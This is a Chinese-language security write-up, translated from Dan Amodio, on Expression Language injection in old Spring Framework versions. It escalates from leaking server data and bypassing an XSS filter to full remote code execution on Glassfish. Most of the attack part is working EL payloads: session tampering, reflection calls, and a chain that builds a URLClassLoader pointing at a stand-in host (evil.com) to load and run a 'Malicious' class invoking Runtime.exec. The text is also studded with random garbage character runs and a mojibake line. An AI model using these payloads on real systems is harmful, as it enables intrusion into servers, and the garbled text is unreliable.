Remote Code with/ ]+ a* \8 J1 X, F1 J
Expression Language Injection/ D% e7 q# ?" t5 V' S
Spring Framework脆弱性—DanAmodio
$ T# s& n% J$ k; K. h全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
- R' {6 y$ z" l2 k3 [# D可能会存在风险。6 U/ j7 L g# i. T! I' u: H; T1 v
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
! F5 n: `9 M# c) Q2 b8 uArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
+ L5 T7 U' f4 q: i! H; g以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,, k. w2 }1 ^+ e5 u
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前- n' {9 V* B5 u3 b. h! M
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
. r, I( P3 U) E由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但- }/ ]( K; }6 C2 ?# z" L7 J& C* s
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版! m1 R/ [+ S- P8 ?+ d
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。0 Z& b1 B8 K+ ^3 }- W5 M6 @2 G- X
这些版本不支持禁用double EL resolution.
+ _4 Y1 ~4 g$ X: p+ C这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
8 l' [1 C5 n# }EL2.2容器上可能进行远程代码执行。
9 u2 P ?! [& h$ l' Z1 j h这是一个原始信息泄露的攻击例子:
* N6 t' N+ k8 p6 S/ B1 ]请求:
7 M0 s/ e- j% B4 ^+ _6 d1 @. Uttp://vulnerable.com/foo?message=${applicationScope}8 \$ V4 E% U" [" [, X/ U
到达以下内容页面:! Q ~! d# Z; n+ ?1 _) X; A; T; K% x( e
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
# u% \ H' J8 n+ `8 E你也可以做一些其他事情,如这样:, { c# }8 w- T$ j
${9999+1}
& J; |3 m! U1 R6 H9 s) E+ E8 M3 I还可以访问session 对象和beans3 U6 i" r9 m: C4 w
${employee.lastName}6 U0 q* c- r: O7 e' m
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是7 n3 Q) W2 z8 ?/ ^2 J, n" P
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
5 {: O X5 V% u5 t% ~, p7 A西,比如XSS.
6 ^( _( P6 y. Y哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
R- I, H) P' j, L: W. [突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
/ i( G% g. a- Y1 X6 [3 H呢?”
6 j- b( L! x9 ]! w: W0 x* ?- p因此,我尝试巳缦拢�' r2 p! M. G; K) n9 z
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
7 w. X3 V2 K6 `P
2 Q) Q- ~6 S( [; H$ w% R1 U我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返! ]! o9 p: q6 v( U- D
回的文本被插入进了spring:message 标签。
- Q0 U9 {3 L8 y% \1 c1 o: C# i这里是一个最终绕过过滤的实例:
- m0 Q( s, v- L, Shttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
! i% b2 ~4 b* C+ T* M' ~它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为6 M' u* R3 u- L$ o: e: } c
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
. s# a' I2 q% z# m" M7 J" M* t经过一番研究,我学习到EL2.2 增加了方法调用。
: X9 |' z) Q2 o' f! ^我写了一个快速测试应用程序代码并且检测一些功能5 K+ N0 X" T" n- E. }7 H. H
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
( w3 X( I' b& V: h2 V# W${pageContext.request.getSession().setAttribute(“admin”,true)}; l0 y! x; v' H
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的3 D) P+ u3 @) W4 B6 T; J: B5 T
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
7 U4 ^% b$ E# Z# x2 ~; {! k${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
: Y* t' ^% Z2 L% m' K+ U+ R“, 1234)}6 ~1 e" p9 ~. D; }+ i" e G
${“”.getClass().forName(“java.lang.Runtime”)}
- E! q* P- v* s8 C# p哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不" r8 ~' p5 |1 b v
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函9 }8 s8 X9 ^3 q7 T, z7 }/ W
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有) C& A1 B2 l5 t w: O
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
; e' l; s! {! ? f, c+ w7 r' l方法签名invoke(Object obj, Object„ args)% d( C& G' z7 E+ ]4 L% H4 Y
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
@7 _; k, ~2 c, q8 r& ]$ @1 D7 e题,以让它可以工作起来。
2 s* h$ Y% w* n7 r1 C+ c6 V漏洞利用:3 n7 d# P2 w1 q; c8 g+ ]
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我. H- ~6 |' Q4 a- P! P$ K4 {/ W" ~
希望你们中的一些JAVA奇才告诉我我是如此的可笑。( s" r) [# k4 R8 J: a
这里有一些我试过的失败的用例,为了试图让它工作的用例:4 Q9 o: @8 p" M
写文件到文件系统1 h7 w: r, v, F3 l4 ^3 U
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
5 J' m3 d+ R( W! a& d* m我认为这些可以很好的工作,但是我不能找到合适的类来载入。9 A1 E3 R7 X, }( q, g' X
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}: C# `- ?- e2 E J
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:- ]" } k* L' |# V
org.springframework.expression.spel.standard.SpelExpressionParser not found% m9 h/ y# x$ O" c
by
7 e0 v1 C) f# M; T- X Aorg.glassfish.web.javax.servlet.jsp [194].3 c/ W0 |4 P: e2 Y
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public4 Y2 [0 K1 N7 x. o& M* C
利用反射来创建一个新的Runtime(and watch the world burn)
7 M9 {) j5 G) G3 G${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
- L* M1 c- D0 l& \, u(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
_: h+ S2 ]- ~9 X${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}6 y" Y4 c" R9 j; I/ G+ S
使用java.lang.ProcessBuilder2 \. l" p/ C7 p2 _
用表达式语言来评估表达式语言+ z4 P a9 b# L9 m3 A+ _
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.+ z% m2 l' i' e1 g% }+ E5 ]6 a
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request1 g5 ?$ S, Z1 n5 |- `9 G( p
“,”".getClass(),null)}
" u$ \0 m$ J E) k 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
, T- [( e" l F, o我在使用一个空数组通过Method.invoke()时失败了很多次. s5 B: a2 t) B
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo; O( `+ v" G3 r) r$ ^
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
+ p( Q% O! \+ ], H) ?! y1 }rrayList”).newInstance().toArray())
! N3 X8 f8 z6 c# l0 H" z" T: r! ?$ Xjava.lang.IllegalArgumentException: wrong number of arguments
( S {+ v* H8 I9 s& O8 j最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
/ z6 W$ V6 l( i; J以创建一个恶意class文件并且指向类装载器.
/ ~* c/ [2 O- _5 J* h- k2 y, l我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:2 X( u& `4 j2 T! W/ R
public class Malicious {
" t7 i7 {" _- U1 G3 q( |public Malicious() {
- e8 ~* H" P7 p, G5 \& Atry {
' B6 c: p, [" fjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
. M7 O- ^# P9 f$ G, W" q, k. ljava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
_2 v6 I9 F9 J& V} catch (Exception e) {. j( V1 x2 x% e* L6 H2 D
}: f+ \4 s2 y$ B7 ~" l
}0 p9 U1 E1 u5 u9 o1 g/ x
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回4 q( y% A3 k' x: Z
话中,因此它可以被使用.
1 L z4 D. s* H& m${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
3 ~$ u+ ?" C7 d' t(“java.util.ArrayList”).newInstance())}" m3 ]' a1 d/ ?6 f A
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建- n4 {1 v5 J- A$ F' t8 `
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和4 j7 a5 M: s7 ^8 k0 t: f
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
+ B ?/ L: P) ^5 \! p我们可以调用的create(string)方法,然后转换对一个URL对象。
1 \4 q" @$ {1 G${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh% S+ \, M* p1 o/ m! H* r. ~
ere/malicious/classfile/is/located/”).toURL())}
4 L% m' M$ L, Y- w然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
" n; i) Q- |3 z( q C1 V' H恶意类文件被装载并创建,触发远程代码.! s+ _5 h7 i7 q. v7 y9 z
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
% X% o' Y' d) C$ D5 ]xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
/ k! g" q; R% l+ ^* X1 D0 CgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance: \' ]' x! F4 M. L0 K# z8 s
()} |